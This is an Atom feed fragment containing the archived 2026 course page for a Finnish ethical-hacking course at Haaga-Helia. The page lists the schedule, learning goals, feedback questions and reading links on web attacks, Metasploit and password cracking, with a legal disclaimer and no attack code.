&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p&gt;
&lt;p&gt;Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Tunkeutumistestaus - 2026 spring - Archived</title>
    <link href="https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/"/>
    <id>https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/</id>
    <published>2026-03-22T13:06:00+02:00</published>
    <updated>2026-03-22T13:06:00+02:00</updated>
    <content type="html">&lt;div lang=&quot;en&quot;&gt;
&lt;p&gt;Learn to hack computers to protect your own. In the course, you will break into target computers.&lt;/p&gt;
&lt;p&gt;Excellent feedback, reached 5.0 out of 5.
&lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Full five stars&quot;&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=archived&gt;
&lt;h2 id=&quot;archived-page&quot;&gt;Archived page &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#archived-page&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This page is archived.&lt;/p&gt;
&lt;p&gt;Are you looking for the &lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/&quot;&gt;latest &lt;em&gt;Tunkeutumistestaus&lt;/em&gt;&lt;/a&gt; course page?&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Tunkeutumistestaus ICI005AS3A-3004 (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI005AS3A&quot;&gt;study guide&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 &lt;strong&gt;period 4&lt;/strong&gt; late spring, w13-w20&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Tuesdays 08:00&lt;/strong&gt; - 10:45, Pasila &lt;strong&gt;pa5001&lt;/strong&gt;, bring your &lt;strong&gt;laptop&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;40&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.0&lt;/strong&gt; / 5 Excellent feedback* &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=45175&quot;&gt;Moodle: Tunkeutumistestaus&lt;/a&gt;, Laksu. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-03-24 w13 Tue 08:00, pa5001, bring your laptop.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent. 
&lt;em&gt;Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Teaching is in Finnish, so the rest of this page will be in Finnish.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;oppimistavoitteet&quot;&gt;Oppimistavoitteet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#oppimistavoitteet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Opintojakson suoritettuaan opiskelija&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tuntee tunkeutumistestauksen prosessin pääpiirteissään&lt;/li&gt;
&lt;li&gt;Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat&lt;/li&gt;
&lt;li&gt;Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia&lt;/li&gt;
&lt;li&gt;Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua&lt;/li&gt;
&lt;li&gt;Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.&lt;/li&gt;
&lt;li&gt;Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.&lt;/p&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 139px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/its-raining-shells.w139.ha3eb55a3.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/its-raining-shells.w139.ha3eb55a3.avif 139w&quot; sizes=&quot;(max-width: 139px) 100vw, 139px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/its-raining-shells.w139.ha3eb55a3.png&quot; srcset=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/its-raining-shells.w139.ha3eb55a3.png 139w&quot; sizes=&quot;(max-width: 139px) 100vw, 139px&quot; width=&quot;139&quot; height=&quot;134&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tiistaisin 08:00 - 10:45 Pasila pa5001.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-03-24 w13 Tue&lt;/td&gt;&lt;td&gt;1. Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-03-31 w14 Tue&lt;/td&gt;&lt;td&gt;2. 9 Vierailija &lt;em&gt;Marko Buuri, cybersecurity adviser, Suomen Pankki: DORA &amp;amp; threat lead penetration testing&lt;/em&gt;. Harjoitusympäristöt, ulkopuoliset ja oma virtuaalilaboratorio.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-07 w15 Tue&lt;/td&gt;&lt;td&gt;3. Aktiivinen tiedustelu. Porttiskannaus ja oheistekniikat. Valvonta snifferillä.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-14 w16 Tue&lt;/td&gt;&lt;td&gt;4. Vierailija &lt;em&gt;Sam: Winning OSINT competition in Ukraine&lt;/em&gt;. Weppiin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-21 w17 Tue&lt;/td&gt;&lt;td&gt;5. 9 &lt;em&gt;HT8: Robin Niinemets, Ilja Ylikangas, Henry Isakoff: Getting started with CTF&lt;/em&gt;.  Weppiin murtautuminen. SQLi. Keksit. CSRF. Oman TLS-salatun liikenteen purkaminen. Norjalaisia vieraita seuraamassa, Noroff.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-28 w18 Tue&lt;/td&gt;&lt;td&gt;6. Haittaohjelmat ja takaovet. Bind ja reverse shell. Metasploit ja Msfvenom.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-05-05 w19 Tue&lt;/td&gt;&lt;td&gt;7. Vierailija &lt;em&gt;Niklas Särökaari: Attacking identity&lt;/em&gt;. Salasanojen murtaminen. Käyttäjien salasanat. Sanakirjahyökkäys. Hashcat.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-05-12 w20 Tue&lt;/td&gt;&lt;td&gt;8. Lipunryöstö, arvioitava laboratorioharjoitus.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.&lt;/p&gt;
&lt;h2 id=&quot;anna-palautetta&quot;&gt;Anna palautetta &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#anna-palautetta&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palaute on todella tärkeä tapa kehittää kurssia – kiitos kommenteista jo etukäteen. Palaute kahteen kanavaan&lt;/p&gt;
&lt;h3 id=&quot;1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot;&gt;1) Vapaamuotoinen palaute kommenttina tämän kurssisivun perään &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#comments&quot;&gt;Vapaamuotoinen palaute kommenttina tämän kurssisivun perään&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vapaamuotoiseen palautteeseen saa kirjoittaa mitä vain, eikä kysymyksiä tarvitse toistaa. Mutta tässä vinkiksi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opitko jotakin – eli osaatko nyt sellaista, mitä et osannut ennen kurssia?&lt;/li&gt;
&lt;li&gt;Teitkö jotain ensimmäistä kertaa? Hyökkäsit weppiin, käytit jotain työkalua, skannasit kokonaisen verkon; käytit jotain kieltä, tekniikkaa tai työkalua?&lt;/li&gt;
&lt;li&gt;Mitä mieltä kustakin vierailijasta? (Marko / Suomen Pankki; Sam OSINT Ukraina; Robin, Ilja, Henry CTF, Niklas identiteetti)&lt;/li&gt;
&lt;li&gt;Oliko opittu hyödyllistä? Luuletko, että sille on käyttöä esim. tulevaisuudessa töissä tai kotona?&lt;/li&gt;
&lt;li&gt;Mitä mieltä olit läksyistä? Luku/video/podcast -materiaalista? Hands-on tehtävistä?&lt;/li&gt;
&lt;li&gt;Miten voisin parantaa kurssia?&lt;/li&gt;
&lt;li&gt;Viihdyitkö kurssilla?&lt;/li&gt;
&lt;li&gt;Suosittelisitko kurssia? Kenelle kurssi sopisi? Koulutoverille tai kollegalle?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot;&gt;2) Numeerinen palaute Haaga-Helian palautejärjestelmään MyNetissa &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Numeerinen palaute &lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Haaga-Helian palautejärjestelmään MyNetissa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Numeerisen palautteen avulla mm. verrataan Haaga-Helian kursseja toisiinsa. On tärkeää saada jokaiselta palaute, jotta tulos on tilastollisesti merkitsevä.&lt;/p&gt;
&lt;p&gt;Numeeriset: Asteikko 1-välttävä (huonoin) ... 5-kiitettävä (paras)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oma aktiivisuutesi opiskelussa        1-5&lt;/li&gt;
&lt;li&gt;Osaamistavoitteiden saavuttaminen     1-5&lt;/li&gt;
&lt;li&gt;Työskentelytavat tukivat oppimista    1-5&lt;/li&gt;
&lt;li&gt;Opiskeluympäristö tuki oppimista      1-5&lt;/li&gt;
&lt;li&gt;Hyödyllisyys työelämään               1-5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avoimet kysymykset (näihin voi myös kopioida samat vastaukset jotka kirjoitit aiemmin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mitkä asiat edistivät oppimistasi?&lt;/li&gt;
&lt;li&gt;Miten kehittäisit toteutusta / toteutuskokonaisuutta, jotta osaamistavoitteet saavutettaisiin paremmin?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kokonaisarviosi toteutuksesta / toteutuskokonaisuudesta 1-5&lt;/p&gt;
&lt;p&gt;Suosittelisitko 1 - 10 (1 en varmasti, 10 aion varmasti suositella tai olen jo suositellut)&lt;/p&gt;
&lt;p&gt;Kiitos palautteesta ja jännittävästä kurssista! Seuraavilla kursseilla nähdään.&lt;/p&gt;
&lt;h2 id=&quot;kertausmateriaalia&quot;&gt;Kertausmateriaalia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#kertausmateriaalia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP/IP-pino: &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;Wikipedia: Internet protocol suite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linuxin komentokehote: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt; (ja Linuxin asennus &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Tietokantojen alkeet (millä vain alustalla): &lt;a href=&quot;http://terokarvinen.com/2016/postgresql-install-and-one-table-database-sql-crud-tutorial-for-ubuntu&quot;&gt;PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: &lt;a href=&quot;https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript&quot;&gt;Introduction to JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;luettavaa-ja-linkkeja&quot;&gt;Luettavaa ja linkkejä &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#luettavaa-ja-linkkeja&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;€ Maksulliset aineistot saattavat näkyä ilmaiseksi &lt;a href=&quot;http://libguides.haaga-helia.fi/az.php&quot;&gt;Haaga-Helian tunnuksilla kirjaston&lt;/a&gt; kautta. &lt;a href=&quot;https://www.oreilly.com/library/view/temporary-access/&quot;&gt;Haaga-Helialla on käyttöoikeus O&#39;Reilly Learning -kirjoihin (ent. Safari)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Työkaluja kurssille&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2020/remote-learning-tools-for-my-courses/&quot;&gt;Remote Learning Tools for Tero&#39;s Courses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kali.org/&quot;&gt;Kali Linux&lt;/a&gt;. Uusi levykuva &lt;a href=&quot;https://cdimage.kali.org/kali-2021.1/kali-linux-2021.1-live-amd64.iso&quot;&gt;kali-linux-2021.1-live-amd64.iso&lt;/a&gt; (vanha levykuva &lt;a href=&quot;https://cdimage.kali.org/kali-2020.3/kali-linux-2020.3-live-amd64.iso&quot;&gt;kali-linux-2020.3-live-amd64.iso&lt;/a&gt;).
Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a id=&quot;L2&quot;&gt;L2 weppihyökkäyksiä - tukee läksyä h2&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf&quot;&gt;OWASP 10 2017 (pdf)&lt;/a&gt;, erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today&#39;s DevOps and Cloud Environments: &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_03_00&quot;&gt;6.3 Understanding SQL Injection&lt;/a&gt; ja &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_04_00&quot;&gt;6.4 Exploiting SQL Injection Vulnerabilities&lt;/a&gt; sekä &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_05_00_00&quot;&gt;Lesson 5: Authentication and Session Management Vulnerabilities&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;€ Percival &amp;amp; Samancioglu 2020: The Complete Ethical Hacking Course (video): &lt;a href=&quot;https://learning.oreilly.com/videos/the-complete-ethical/9781839210495/9781839210495-video21_1&quot;&gt;Chapter 21: Cross Site Scripting&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense
Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yleiskuva, harjoitusmaaleja, web&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://darknetdiaries.com/&quot;&gt;Darknet Diaries&lt;/a&gt; . Podcastien kuunteluun
kännykällä &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;AntennaPod löytyy F-Droidista&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2019/mitmproxy-on-kali-and-xubuntu-attack-and-testing&quot;&gt;MitmProxy on Kali and Xubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target&quot;&gt;Install Webgoat 8 - Learn Web Pentesting&lt;/a&gt;. (It&#39;s also possible to install &lt;a href=&quot;http://terokarvinen.com/2019/install-webgoat-pentest-learning-tool-on-ubuntu-with-docker&quot;&gt;old version&lt;/a&gt; 7 of WebGoat with Docker).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf&quot;&gt;OWASP 10 2017 (pdf)&lt;/a&gt;. Tällä hetkellä 2021-02-02 uusin versio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aktiivinen tiedustelu. HackTheBox.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;€ Santos et al: &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849&quot;&gt;The Art of Hacking (Video Collection)&lt;/a&gt;: [..] &lt;a href=&quot;https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_04_03_00&quot;&gt;4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;man nmap (laaja, silmäily riittää)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://tools.kali.org/tools-listing&lt;/li&gt;
&lt;li&gt;0xdf https://0xdf.gitlab.io/&lt;/li&gt;
&lt;li&gt;ippsec https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos&lt;/li&gt;
&lt;li&gt;John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p&lt;/li&gt;
&lt;li&gt;Youtube-videoiden katseluun kännykällä &lt;a href=&quot;https://f-droid.org/packages/org.schabi.newpipe/&quot;&gt;NewPipe F-Droidista&lt;/a&gt;. Youtube-videoiden nopeuden säätöön &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/videospeed/&quot;&gt;codebicycle Video Speed Controller&lt;/a&gt; addon Firefoxille.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Passwords, Learning to Learn tools&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;infosecn1nja 2020: &lt;a href=&quot;https://github.com/infosecn1nja/Red-Teaming-Toolkit&quot;&gt;Red-Teaming-Toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Taylor et al 2018: The Art of Hacking: &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_00&quot;&gt;Hacking User Credentials&lt;/a&gt; €&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Web Fuzzing, Second to Last Words&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: &lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;ffuf - Fast web fuzzer written in Go&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: Still Fuzzing Faster (U fool). In &lt;a href=&quot;https://www.twitch.tv/helsec&quot;&gt;HelSec Virtual Meetup #1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Miettinen 2020: iPhone BFU Acquisition and Analysis. In &lt;a href=&quot;https://www.twitch.tv/helsec&quot;&gt;HelSec Virtual Meetup #1&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Metasploit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;€ Jaswal 2020: Mastering Metasploit - 4ed: &lt;a href=&quot;https://learning.oreilly.com/library/view/mastering-metasploit-/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-30&quot;&gt;Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a&gt; (kohdasta &quot;Conducting a penetration test with Metasploit&quot; luvun loppuun)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/&quot;&gt;Install Metasploitable 3 – Vulnerable Target Computer&lt;/a&gt; (Article uses rapid7/metasploitable3-ub1404 , see also &quot;rapid7/metasploitable3-win2k8&quot;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/tunkeutumistestaus-ici001as3a-3002-2024p4-loppusyksy-pentest/&quot;&gt;Tunkeutumistestaus ICI001AS3A-3002 - 2024p4-loppusyksy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/tunkeutumistestaus-2024p2/&quot;&gt;Tunkeutumistestaus 2024p2&lt;/a&gt;&lt;/p&gt;
